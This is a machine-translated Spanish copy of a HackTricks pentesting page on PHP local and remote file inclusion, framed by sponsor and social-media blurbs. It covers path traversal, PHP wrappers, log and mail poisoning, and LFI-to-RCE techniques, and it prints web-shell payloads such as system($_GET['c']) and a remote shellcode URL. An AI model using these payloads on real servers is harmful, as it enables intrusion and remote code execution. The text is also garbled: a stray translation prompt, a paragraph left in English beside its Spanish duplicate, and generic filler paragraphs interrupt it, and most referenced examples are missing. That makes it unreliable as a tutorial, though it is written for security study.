* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
**Inclusión de archivos remotos (RFI):** El archivo se carga desde un servidor remoto (lo mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está **desactivado** de forma predeterminada (**allow\_url\_include**).\
Puedes encontrar una lista que utiliza varias técnicas para encontrar el archivo /etc/password (para comprobar si existe la vulnerabilidad) [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Puedes encontrar una lista que utiliza varias técnicas para encontrar el archivo /boot.ini (para comprobar si existe la vulnerabilidad) [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Todos los ejemplos son para Local File Inclusion, pero también se pueden aplicar a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
When performing a file inclusion vulnerability assessment, it is common to encounter web applications that strip traversal sequences in a non-recursive manner. This means that the application removes traversal sequences like "../" from the user input, but only does so once.
Cuando se realiza una evaluación de vulnerabilidad de inclusión de archivos, es común encontrarse con aplicaciones web que eliminan las secuencias de recorrido de manera no recursiva. Esto significa que la aplicación elimina las secuencias de recorrido como "../" del input del usuario, pero solo lo hace una vez.
Dependiendo del código aplicativo / caracteres permitidos, es posible explorar de forma recursiva el sistema de archivos descubriendo carpetas y no solo archivos. Para hacerlo:
* intenta adivinar el nombre de una carpeta en el directorio actual agregando el nombre de la carpeta (aquí, `private`), y luego regresando a `/etc/passwd`:
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
* si la aplicación es vulnerable, puede haber dos resultados diferentes para la solicitud:
* si obtienes un error / sin salida, la carpeta `private` no existe en esta ubicación
* si obtienes el contenido de `/etc/passwd`, has validado que hay una carpeta `private` en tu directorio actual
* las carpetas que descubras utilizando estas técnicas pueden ser probadas para archivos (usando un método clásico de LFI) o para subdirectorios utilizando la misma técnica de forma recursiva.
Es posible adaptar esta técnica para encontrar directorios en cualquier ubicación del sistema de archivos. Por ejemplo, si, bajo la misma hipótesis (directorio actual a una profundidad de 3 en el sistema de archivos), quieres verificar si `/var/www/` contiene un directorio `private`, utiliza la siguiente carga útil:
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
En PHP, esto está desactivado de forma predeterminada porque **`allow_url_include`** está configurado en **Off**. Debe estar **On** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE (Ejecución Remota de Código):
Si por alguna razón **`allow_url_include`** está **activado**, pero PHP está **filtrando** el acceso a páginas web externas, [según este artículo](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías utilizar, por ejemplo, el protocolo de datos con base64 para decodificar un código PHP en base64 y obtener RCE:
En el código anterior, se agregó el `+.txt` final porque el atacante necesitaba una cadena que terminara en `.txt`, de modo que la cadena termine con eso y después de la decodificación b64, esa parte devolverá solo basura y se incluirá (y, por lo tanto, se ejecutará) el código PHP real.
Parece que si tienes una Travesía de Ruta en Java y **solicitas un directorio** en lugar de un archivo, se devuelve un **listado del directorio**. Esto no ocurre en otros lenguajes (que yo sepa).
Aquí está la lista de los 25 principales parámetros que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de [enlace](https://twitter.com/trbughunters/status/1279768631845494787)):
*`convert.iconv.*`: Transforma a una codificación diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obtener la **lista de todas las codificaciones** admitidas, ejecuta en la consola: `iconv -l`
Abusando del filtro de conversión `convert.iconv.*`, puedes **generar texto arbitrario**, lo cual podría ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para obtener más información, consulta [**LFI2RCE a través de los filtros de PHP**](lfi2rce-via-php-filters.md).
Este envoltorio permite acceder a los descriptores de archivo que el proceso tiene abierto. Potencialmente útil para extraer el contenido de archivos abiertos:
También puedes usar **php://stdin, php://stdout y php://stderr** para acceder a los **descriptores de archivo 0, 1 y 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)
La técnica de inclusión de archivos es una vulnerabilidad común en las aplicaciones web que permite a un atacante incluir archivos arbitrarios en una página web. Esto puede conducir a la ejecución de código remoto, revelación de información confidencial o incluso a la toma de control total del servidor.
La vulnerabilidad de inclusión de archivos se produce cuando una aplicación web permite al usuario especificar la ubicación de un archivo que se incluirá en la página. Si esta entrada no se valida adecuadamente, un atacante puede manipularla para incluir archivos maliciosos o sensibles.
Un ejemplo común de esta vulnerabilidad es cuando una aplicación web permite a los usuarios cargar archivos adjuntos, como imágenes de perfil. Si la aplicación no valida adecuadamente la ubicación del archivo adjunto, un atacante puede cargar un archivo PHP malicioso y luego incluirlo en una página para ejecutar código arbitrario.
Para explotar esta vulnerabilidad, un atacante puede utilizar diferentes técnicas, como la inclusión de archivos locales, la inclusión de archivos remotos o la inclusión de archivos basada en parámetros. Cada técnica tiene sus propias características y requisitos, pero todas ellas pueden ser peligrosas si no se abordan adecuadamente.
Es importante que los desarrolladores y los profesionales de la seguridad comprendan esta vulnerabilidad y tomen medidas para mitigarla. Esto incluye validar y filtrar adecuadamente las entradas del usuario, utilizar rutas absolutas en lugar de rutas relativas y limitar los privilegios de acceso del servidor web.
En resumen, la inclusión de archivos es una vulnerabilidad común en las aplicaciones web que puede permitir a un atacante incluir archivos maliciosos o sensibles en una página web. Es importante comprender esta vulnerabilidad y tomar medidas para mitigarla.
Hecho divertido: puedes desencadenar un XSS y evitar el Auditor de Chrome con: `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
Un archivo `.phar` también se puede utilizar para ejecutar código PHP si el sitio web está utilizando alguna función como `include` para cargar el archivo.
Si la LFI solo lee el archivo y no ejecuta el código PHP dentro de él, por ejemplo, utilizando funciones como _**file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**_**.** Puedes intentar abusar de una **deserialización** que ocurre al **leer** un **archivo** utilizando el protocolo **phar**.\
Para obtener más información, lee el siguiente artículo:
* [php://memory y php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribir en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de inclusión de archivos)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Acceder al sistema de archivos local
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Acceder a URL HTTP(s)
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acceder a URL FTP(s)
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flujos de compresión
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nombres de ruta que coincidan con un patrón (no devuelve nada imprimible, por lo que no es realmente útil aquí)
Si te encuentras con una LFI difícil que parece filtrar cadenas de travesía como ".." y responde con algo como "Intento de hackeo" o "Buen intento!", es posible que funcione una carga útil de inyección de 'assert'.
El siguiente contenido es de un libro de hacking sobre técnicas de hacking. El siguiente contenido es del archivo pentesting-web/file-inclusion/README.md. Traduzca el texto relevante en inglés al español y devuelva la traducción manteniendo exactamente la misma sintaxis de markdown y html. No traduzca cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak', pentesting y etiquetas de markdown. Tampoco agregue nada aparte de la traducción y la sintaxis de markdown.
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
**Obtén recompensas sin demoras**\
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
Esta técnica es relevante en casos en los que **controlas** la **ruta del archivo** de una **función PHP** que accederá a un archivo pero no verás el contenido del archivo (como una simple llamada a **`file()`**) pero el contenido no se muestra.
En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de una traversa de ruta ciega a través de un filtro PHP para **filtrar el contenido de un archivo a través de un oráculo de error**.
En resumen, la técnica utiliza la codificación **"UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo desencadenará un **error**.
Luego, para filtrar el primer carácter se utiliza el filtro **`dechunk`** junto con otros como **base64** o **rot13** y finalmente se utilizan los filtros **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** para **colocar otros caracteres al principio y filtrarlos**.
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, puedes intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, establecer dentro del **agente de usuario** o dentro de un **parámetro GET** una shell de PHP como **`<?php system($_GET['c']); ?>`** e incluir ese archivo.
Ten en cuenta que **si usas comillas dobles** para la shell en lugar de **comillas simples**, las comillas dobles se modificarán por la cadena "_**quote;**_", **PHP lanzará un error** allí y **no se ejecutará nada más**.
Además, asegúrate de **escribir correctamente la carga útil** o PHP mostrará un error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad.
Esto también se puede hacer en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir la Shell. La cabecera **authorisation "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. La PHPShell podría insertarse dentro de esta cabecera.\
Lista de palabras para fuzzing: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
**Envía un correo** a una cuenta interna (user@localhost) que contenga tu carga útil PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e intenta incluirlo en el correo del usuario con una ruta como **`/var/mail/<NOMBRE_DE_USUARIO>`** o **`/var/spool/mail/<NOMBRE_DE_USUARIO>`**
2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), donde $PID es el ID del proceso (puede ser forzado por fuerza bruta) y $FD es el descriptor de archivo (también puede ser forzado por fuerza bruta)
La Inclusión de Archivos Locales (LFI, por sus siglas en inglés) es una vulnerabilidad común en aplicaciones web que permite a un atacante incluir archivos arbitrarios en el servidor. Una forma específica de aprovechar esta vulnerabilidad es la inclusión de archivos de sesión PHP.
Un archivo de sesión PHP es un archivo que almacena información sobre la sesión de un usuario en una aplicación web. Contiene datos como variables de sesión, preferencias del usuario y otra información relevante.
Para aprovechar la LFI y acceder a los archivos de sesión PHP, se puede utilizar una ruta de inclusión de archivo local válida. Esto puede ser una ruta relativa o absoluta al archivo de sesión PHP en el servidor.
En este ejemplo, el nombre del archivo de sesión se obtiene a través del parámetro de la URL llamado "session". El archivo de sesión se incluye utilizando la función `include()` de PHP.
Si un atacante logra aprovechar con éxito la LFI para incluir archivos de sesión PHP, puede acceder a la información almacenada en esos archivos. Esto puede incluir datos confidenciales como contraseñas, tokens de autenticación y otra información sensible.
- Validar y filtrar cualquier entrada de usuario, como los parámetros de la URL, antes de utilizarla en una operación de inclusión de archivos.
- Utilizar rutas absolutas en lugar de rutas relativas para incluir archivos de sesión PHP.
- Limitar los permisos de acceso a los archivos de sesión PHP para que solo el servidor web pueda acceder a ellos.
- Mantener actualizado el software y las bibliotecas utilizadas en la aplicación web para evitar vulnerabilidades conocidas.
Recuerda que es importante realizar pruebas de penetración (pentesting) en tu aplicación web para identificar y corregir posibles vulnerabilidades de seguridad, como la inclusión de archivos locales (LFI).
Los registros de este servidor FTP se almacenan en _**/var/log/vsftpd.log.**_ Si tienes una LFI y puedes acceder a un servidor vsftpd expuesto, puedes intentar iniciar sesión configurando la carga útil de PHP en el nombre de usuario y luego acceder a los registros utilizando la LFI.
Como se muestra en [este](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, el filtro base64 de PHP simplemente ignora los caracteres que no son base64. Puedes usar esto para evitar la verificación de la extensión del archivo: si proporcionas base64 que termina con ".php", simplemente ignorará el "." y agregará "php" al base64. Aquí tienes un ejemplo de carga útil:
Este [**informe**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que se pueden utilizar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que se puede **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo.
**Cargue** un archivo que se almacenará como **temporal** en `/tmp`, luego en la **misma solicitud,** provoque una **falla de segmentación**, y luego el **archivo temporal no se eliminará** y podrá buscarlo.
Si encuentra una **Inclusión Local de Archivos** y **Nginx** se está ejecutando frente a PHP, es posible que pueda obtener RCE con la siguiente técnica:
Si encuentra una **Inclusión Local de Archivos** incluso si **no tiene una sesión** y `session.auto_start` está en `Off`. Si proporciona **`PHP_SESSION_UPLOAD_PROGRESS`** en los datos **multipart POST**, PHP **habilitará la sesión por usted**. Podría abusar de esto para obtener RCE:
Si encuentra una **Inclusión Local de Archivos** y puede **filtrar la ruta** del archivo temporal PERO el **servidor** está **verificando** si el **archivo a incluir tiene marcas PHP**, puede intentar **burlar esa verificación** con esta **Condición de Carrera**:
Si puede abusar de la LFI para **cargar archivos temporales** y hacer que el servidor **se detenga** la ejecución de PHP, luego podría **probar nombres de archivo durante horas** para encontrar el archivo temporal:
Si incluye cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Debe incluir el mismo dos veces para generar ese error).
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Recibirá la recompensa después de que se verifique el error.
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtenga el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).